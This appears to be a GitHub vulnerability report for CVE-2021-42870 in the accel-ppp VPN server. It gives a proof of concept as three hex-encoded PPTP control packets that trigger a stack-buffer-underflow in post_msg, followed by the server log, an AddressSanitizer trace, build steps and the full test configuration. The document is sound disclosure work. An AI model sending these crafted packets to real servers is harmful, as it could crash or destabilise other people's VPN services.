Headline
CVE-2021-42870: Abnormal packet sequence can cause stack-buffer-underflow · Issue #158 · xebd/accel-ppp
ACCEL-PPP 1.12.0 has an out-of-bounds read in post_msg when processing a call_clear_request.
Using version accel-ppp version 1.12.0-149-gff91c73.
Summary
Sending PPTP Call Clear Request Packet after PPTP Start Control Connection Request and PPTP Outgoing Call Request to server can cause stack-buffer-underflow.
PoC
Here is the detailed information of sent packets:
Packet 1
hexstream: 009c00011a2b3c4d00010000010000000000000300000003ffff00016c6f63616c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000063616e616e69616e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
packet structure: ###[ PPTP Start Control Connection Request ]### len = 156 type = Control Message magic_cookie= 0x1a2b3c4d ctrl_msg_type= Start-Control-Connection-Request reserved_0= 0x0 protocol_version= 256 reserved_1= 0x0 framing_capabilities= Asynchronous Framing supported+Synchronous Framing supported bearer_capabilities= Analog access supported+Digital access supported maximum_channels= 65535 firmware_revision= 1 host_name = ‘local’ vendor_string= ‘cananian’
Packet 2
hexstream: 00a800011a2b3c4d00070000e60c00000000096000989680000000030000000300030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
packet structure: ###[ PPTP Outgoing Call Request ]### len = 168 type = Control Message magic_cookie= 0x1a2b3c4d ctrl_msg_type= Outgoing-Call-Request reserved_0= 0x0 call_id = 58892 call_serial_number= 0 minimum_bps= 2400 maximum_bps= 10000000 bearer_type= Any type of channel framing_type= Any type of framing pkt_window_size= 3 pkt_proc_delay= 0 phone_number_len= 0 reserved_1= 0x0 phone_number= ‘’ subaddress= ‘’
Packet 3
hexstream: 001000011a2b3c4d000c0000e60c0000
packet structure: ###[ PPTP Call Clear Request ]### len = 16 type = Control Message magic_cookie= 0x1a2b3c4d ctrl_msg_type= Call-Clear-Request reserved_0= 0x0 call_id = 58892 reserved_1= 0x0
Hint: the call_id field is randomly generated thus directly forwarding those three packets might not reproduce the scene. To reproduce it, it’s neccessary to construct similar packets.
Crash report
log of server:
[2021-10-18 13:23:01.445] accel-ppp version 1.12.0-149-gff91c73
[2021-10-18 13:23:01.477] pptp: iprange module disabled, improper IP configuration of PPP interfaces may cause kernel soft lockup
[2021-10-18 13:23:01.479] l2tp: iprange module disabled, improper IP configuration of PPP interfaces may cause kernel soft lockup
[2021-10-18 13:23:01.516] pptp: new connection from 127.0.0.1
[2021-10-18 13:23:01.517] : : recv [PPTP Start-Ctrl-Conn-Request <Version 1> <Framing 3> <Bearer 3> <Max-Chan 65535>]
[2021-10-18 13:23:01.517] : : send [PPTP Start-Ctrl-Conn-Reply <Version 1> <Result 1> <Error 0> <Framing 3> <Bearer 3> <Max-Chan 1>]
[2021-10-18 13:23:02.516] : : recv [PPTP Outgoing-Call-Request <Call-ID e60c> <Call-Serial 0> <Min-BPS 2400> <Max-BPS 10000000> <Bearer 3> <Framing 3> <Window-Size 3> <Delay 0>]
[2021-10-18 13:23:02.517] : : send [PPTP Outgoing-Call-Reply <Call-ID 615> <Peer-Call-ID e60c> <Result 1> <Error 0> <Cause 0> <Speed 10000000> <Window-Size 3> <Delay 0> <Channel 0>]
[2021-10-18 13:23:02.517] : : lcp_layer_init
[2021-10-18 13:23:02.517] : : auth_layer_init
[2021-10-18 13:23:02.517] : : ccp_layer_init
[2021-10-18 13:23:02.517] : : ipcp_layer_init
[2021-10-18 13:23:02.517] : : ipv6cp_layer_init
[2021-10-18 13:23:02.517] : : ppp establishing
[2021-10-18 13:23:02.518] : 78a9b1ca73684d70: lcp_layer_start
[2021-10-18 13:23:02.518] : 78a9b1ca73684d70: send [LCP ConfReq id=71 <auth MSCHAP-v2> <mru 1400> <magic 465aee3b>]
[2021-10-18 13:23:03.495] terminate, sig = 15
[2021-10-18 13:23:03.495] : 78a9b1ca73684d70: terminate
[2021-10-18 13:23:03.495] : 78a9b1ca73684d70: lcp_layer_finish
[2021-10-18 13:23:03.496] : 78a9b1ca73684d70: pptp: ppp finished
[2021-10-18 13:23:03.496] : 78a9b1ca73684d70: send [PPTP Call-Disconnect-Notify <Call-ID ce6> <Result 3> <Error 0> <Cause 0>]
[2021-10-18 13:23:03.496] : 78a9b1ca73684d70: send [PPTP Stop-Ctrl-Conn-Request <Reason 0>]
[2021-10-18 13:23:03.521] : 78a9b1ca73684d70: lcp_layer_free
[2021-10-18 13:23:03.521] : 78a9b1ca73684d70: auth_layer_free
[2021-10-18 13:23:03.521] : 78a9b1ca73684d70: ccp_layer_free
[2021-10-18 13:23:03.521] : 78a9b1ca73684d70: ipcp_layer_free
[2021-10-18 13:23:03.521] : 78a9b1ca73684d70: ipv6cp_layer_free
[2021-10-18 13:23:03.521] : 78a9b1ca73684d70: recv [PPTP Call-Clear-Request <Call-ID e60c>]
[2021-10-18 13:23:03.521] : 78a9b1ca73684d70: send [PPTP Call-Disconnect-Notify <Call-ID ce6> <Result 4> <Error 0> <Cause 0>]
Here is the asan report:
==2434668==ERROR: AddressSanitizer: stack-buffer-underflow on address 0x7f785e8afe1f at pc 0x000000499d97 bp 0x7f7862ed07c0 sp 0x7f7862ecff88
READ of size 149 at 0x7f785e8afe1f thread T7
#0 0x499d96 in __asan_memcpy /home/brian/src/llvm_releases/llvm-project/llvm/utils/release/final/llvm-project/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:22:3
#1 0x7f786b3e5d1f in post_msg /root/projects/accel-ppp/accel-pppd/ctrl/pptp/pptp.c:150:3
#2 0x7f786b3e6a19 in send_pptp_call_disconnect_notify /root/projects/accel-ppp/accel-pppd/ctrl/pptp/pptp.c:385:9
#3 0x7f786b3e13bd in pptp_call_clear_rqst /root/projects/accel-ppp/accel-pppd/ctrl/pptp/pptp.c:404:9
#4 0x7f786b3e13bd in process_packet /root/projects/accel-ppp/accel-pppd/ctrl/pptp/pptp.c:478:11
#5 0x7f786b3e13bd in pptp_read /root/projects/accel-ppp/accel-pppd/ctrl/pptp/pptp.c:527:9
#6 0x7f78714c81c1 in ctx_thread /root/projects/accel-ppp/accel-pppd/triton/triton.c:252:10
#7 0x7f78714c81c1 in triton_thread /root/projects/accel-ppp/accel-pppd/triton/triton.c:192:5
#8 0x7f7871485608 in start_thread /build/glibc-eX1tMB/glibc-2.31/nptl/pthread_create.c:477:8
#9 0x7f7870e5e292 in clone /build/glibc-eX1tMB/glibc-2.31/misc/../sysdeps/unix/sysv/linux/x86_64/clone.S:95
Address 0x7f785e8afe1f is located in stack of thread T7 at offset 31 in frame
#0 0x7f786b3e666f in send_pptp_call_disconnect_notify /root/projects/accel-ppp/accel-pppd/ctrl/pptp/pptp.c:373
This frame has 1 object(s):
[32, 180) 'msg' (line 374) <== Memory access at offset 31 partially underflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
Thread T7 created by T0 here:
#0 0x484d4c in pthread_create /home/brian/src/llvm_releases/llvm-project/llvm/utils/release/final/llvm-project/compiler-rt/lib/asan/asan_interceptors.cpp:205:3
#1 0x7f78714c6eee in create_thread /root/projects/accel-ppp/accel-pppd/triton/triton.c:320:9
#2 0x7f78714cdc17 in triton_run /root/projects/accel-ppp/accel-pppd/triton/triton.c:744:7
#3 0x559603 in main /root/projects/accel-ppp/accel-pppd/main.c:415:2
#4 0x7f7870d630b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
SUMMARY: AddressSanitizer: stack-buffer-underflow /home/brian/src/llvm_releases/llvm-project/llvm/utils/release/final/llvm-project/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:22:3 in __asan_memcpy
Shadow bytes around the buggy address:
0x0fef8bd0df70: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
0x0fef8bd0df80: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
0x0fef8bd0df90: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
0x0fef8bd0dfa0: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
0x0fef8bd0dfb0: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
=>0x0fef8bd0dfc0: f1 f1 f1[f1]00 00 00 00 00 00 00 00 00 00 00 00
0x0fef8bd0dfd0: 00 00 00 00 00 00 04 f3 f3 f3 f3 f3 f3 f3 f3 f3
0x0fef8bd0dfe0: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
0x0fef8bd0dff0: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
0x0fef8bd0e000: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
0x0fef8bd0e010: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==2434668==ABORTING
Reproduce info
Build access-ppp:
mkdir build && cd build cmake -DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_C_FLAGS="-fsanitize=address -g" -DCMAKE_CXX_FLAGS="-fsanitize=address -g" -DBUILD_DRIVER=false -DCMAKE_INSTALL_PREFIX=/usr/local -DCMAKE_BUILD_TYPE=Debug -DLOG_PGSQL=TRUE -DSHAPER=TRUE -DRADIUS=TRUE -DNETSNMP=TRUE … CC=clang CXX=clang++ CFLAGS="-fsanitize=address -g" CXXFLAGS="-fsanitize=address -g" make -j make install
Run access-pppd, use the following command:
accel-pppd -c /etc/accel-ppp.conf
The running configuration /etc/accel-ppp.conf is:
[modules]
log_file
#log_syslog
#log_tcp
#log_pgsql
pptp
l2tp
#sstp
#pppoe
#ipoe
auth_mschap_v2
auth_mschap_v1
auth_chap_md5
auth_pap
#radius
chap-secrets
ippool
pppd_compat
#shaper
#net-snmp
#logwtmp
#connlimit
#ipv6_nd
#ipv6_dhcp
#ipv6pool
[core]
log-error=/var/log/accel-ppp/core.log
thread-count=4
[common]
#single-session=replace
#single-session-ignore-case=0
#sid-case=upper
#sid-source=seq
#max-sessions=1000
#max-starting=0
#check-ip=0
[ppp]
verbose=1
min-mtu=1280
mtu=1400
mru=1400
#accomp=deny
#pcomp=deny
#ccp=0
#mppe=require
ipv4=require
ipv6=deny
ipv6-intf-id=0:0:0:1
ipv6-peer-intf-id=0:0:0:2
ipv6-accept-peer-intf-id=1
lcp-echo-interval=20
#lcp-echo-failure=3
lcp-echo-timeout=120
unit-cache=1
#unit-preallocate=1
[auth]
#any-login=0
#noauth=0
[pptp]
verbose=1
#echo-interval=30
ip-pool=pool1
#ipv6-pool=pptp
#ipv6-pool-delegate=pptp
ifname=pptp%d
#port=9300
#mppe=prefer
[pppoe]
verbose=1
#ac-name=xxx
#service-name=yyy
#pado-delay=0
#pado-delay=0,100:100,200:200,-1:500
called-sid=mac
#tr101=1
#padi-limit=0
#ip-pool=pppoe
#ipv6-pool=pppoe
#ipv6-pool-delegate=pppoe
#ifname=pppoe%d
#sid-uppercase=0
#vlan-mon=eth0,10-200
#vlan-timeout=60
#vlan-name=%I.%N
#interface=eth1,padi-limit=1000
interface=ens18
[l2tp]
verbose=1
#dictionary=/usr/local/share/accel-ppp/l2tp/dictionary
#hello-interval=60
#timeout=60
#rtimeout=1
#rtimeout-cap=16
#retransmit=5
#recv-window=16
#host-name=accel-ppp
#dir300_quirk=0
#secret=
#dataseq=allow
#reorder-timeout=0
#ip-pool=l2tp
#ipv6-pool=l2tp
#ipv6-pool-delegate=l2tp
#ifname=l2tp%d
[sstp]
verbose=1
#cert-hash-proto=sha1,sha256
#cert-hash-sha1=
#cert-hash-sha256=
#accept=ssl,proxy
#ssl-protocol=tls1,tls1.1,tls1.2,tls1.3
#ssl-dhparam=/etc/ssl/dhparam.pem
#ssl-ecdh-curve=prime256v1
#ssl-ciphers=DEFAULT
#ssl-prefer-server-ciphers=0
#ssl-ca-file=/etc/ssl/sstp-ca.crt
#ssl-pemfile=/etc/ssl/sstp-cert.pem
#ssl-keyfile=/etc/ssl/sstp-key.pem
#host-name=domain.tld
#http-error=allow
#timeout=60
#hello-interval=60
#ip-pool=sstp
#ipv6-pool=sstp
#ipv6-pool-delegate=sstp
#ifname=sstp%d
[ipoe]
verbose=1
username=ifname
#password=username
lease-time=600
#renew-time=300
#rebind-time=525
max-lease-time=3600
#unit-cache=1000
#l4-redirect-table=4
#l4-redirect-ipset=l4
#l4-redirect-on-reject=300
#l4-redirect-ip-pool=pool1
shared=0
ifcfg=1
mode=L2
start=dhcpv4
#start=up
#ip-unnumbered=1
#proxy-arp=0
#nat=0
#proto=100
#relay=10.10.10.10
#vendor=Custom
#weight=0
#attr-dhcp-client-ip=DHCP-Client-IP-Address
#attr-dhcp-router-ip=DHCP-Router-IP-Address
#attr-dhcp-mask=DHCP-Mask
#attr-dhcp-lease-time=DHCP-Lease-Time
#attr-dhcp-renew-time=DHCP-Renewal-Time
#attr-dhcp-rebind-time=DHCP-Rebinding-Time
#attr-dhcp-opt82=DHCP-Option82
#attr-dhcp-opt82-remote-id=DHCP-Agent-Remote-Id
#attr-dhcp-opt82-circuit-id=DHCP-Agent-Circuit-Id
#attr-l4-redirect=L4-Redirect
#attr-l4-redirect-table=4
#attr-l4-redirect-ipset=l4-redirect
#lua-file=/etc/accel-ppp.lua
#offer-delay=0,100:100,200:200,-1:1000
#vlan-mon=eth0,10-200
#vlan-timeout=60
#vlan-name=%I.%N
#ip-pool=ipoe
#ipv6-pool=ipoe
#ipv6-pool-delegate=ipoe
#idle-timeout=0
#session-timeout=0
#soft-terminate=0
#check-mac-change=1
#calling-sid=mac
#local-net=192.168.0.0/16
interface=eth0
[dns]
#dns1=172.16.0.1
#dns2=172.16.1.1
[wins]
#wins1=172.16.0.1
#wins2=172.16.1.1
[radius]
#dictionary=/usr/local/share/accel-ppp/radius/dictionary
nas-identifier=accel-ppp
nas-ip-address=127.0.0.1
gw-ip-address=192.168.100.1
server=127.0.0.1,testing123,auth-port=1812,acct-port=1813,req-limit=50,fail-timeout=0,max-fail=10,weight=1
dae-server=127.0.0.1:3799,testing123
verbose=1
#timeout=3
#max-try=3
#acct-timeout=120
#acct-delay-time=0
#acct-on=0
#acct-interim-interval=0
#acct-interim-jitter=0
#default-realm=
#strip-realm=0
#attr-tunnel-type=My-Tunnel-Type
[client-ip-range]
0.0.0.0/0
[ip-pool]
gw-ip-address=192.168.0.1
#vendor=Cisco
#attr=Cisco-AVPair
attr=Framed-Pool
192.168.0.2-255
192.168.1.1-255,name=pool1
192.168.2.1-255,name=pool2
192.168.3.1-255,name=pool3
192.168.4.1-255,name=pool4,next=pool1
192.168.4.0/24
[log]
log-file=/var/log/accel-ppp/accel-ppp.log
log-emerg=/var/log/accel-ppp/emerg.log
log-fail-file=/var/log/accel-ppp/auth-fail.log
log-debug=/dev/stdout
syslog=accel-pppd,daemon
#log-tcp=127.0.0.1:3000
copy=1
color=1
#per-user-dir=per_user
#per-session-dir=per_session
#per-session=1
level=5
[log-pgsql]
conninfo=user=log
log-table=log
[pppd-compat]
verbose=1
#ip-pre-up=/etc/ppp/ip-pre-up
ip-up=/etc/ppp/ip-up
ip-down=/etc/ppp/ip-down
#ip-change=/etc/ppp/ip-change
radattr-prefix=/var/run/radattr
#fork-limit=16
[chap-secrets]
gw-ip-address=192.168.100.1
chap-secrets=/etc/ppp/chap-secrets.ppp
#encrypted=0
#username-hash=md5
[shaper]
#attr=Filter-Id
#down-burst-factor=0.1
#up-burst-factor=1.0
#latency=50
#mpu=0
#mtu=0
#r2q=10
#quantum=1500
#moderate-quantum=1
#cburst=1534
#ifb=ifb0
up-limiter=police
down-limiter=tbf
#leaf-qdisc=sfq perturb 10
#leaf-qdisc=fq_codel [limit PACKETS] [flows NUMBER] [target TIME] [interval TIME] [quantum BYTES] [[no]ecn]
#rate-multiplier=1
#fwmark=1
#rate-limit=2048/1024
verbose=1
[cli]
verbose=1
telnet=127.0.0.1:2000
tcp=127.0.0.1:2001
#password=123
#sessions-columns=ifname,username,ip,ip6,ip6-dp,type,state,uptime,uptime-raw,calling-sid,called-sid,sid,comp,rx-bytes,tx-bytes,rx-bytes-raw,tx-bytes-raw,rx-pkts,tx-pkts
[snmp]
master=0
agent-name=accel-ppp
[connlimit]
limit=10/min
burst=3
timeout=60
[ipv6-pool]
#gw-ip6-address=fc00:0:1::1
#vendor=
#attr-prefix=Delegated-IPv6-Prefix-Pool
#attr-address=Stateful-IPv6-Address-Pool
fc00:0:1::/48,64
fc00:0:2::/48,64,name=pool1
fc00:0:3::/48,64,name=pool2,next=pool1
delegate=fc00:1::/36,48
delegate=fc00:2::/36,48,name=pool3
delegate=fc00:3::/36,48,name=pool4,next=pool3
[ipv6-dns]
#fc00:1::1
#fc00:1::2
#fc00:1::3
#dnssl=suffix1.local.net
#dnssl=suffix2.local.net.
[ipv6-dhcp]
verbose=1
pref-lifetime=604800
valid-lifetime=2592000
route-via-gw=1
use chap-secrets and the /etc/ppp/chap-secrets.ppp is as follows:
# Secrets for authentication using CHAP
# client server secret IP addresses
fouzhe * 123 *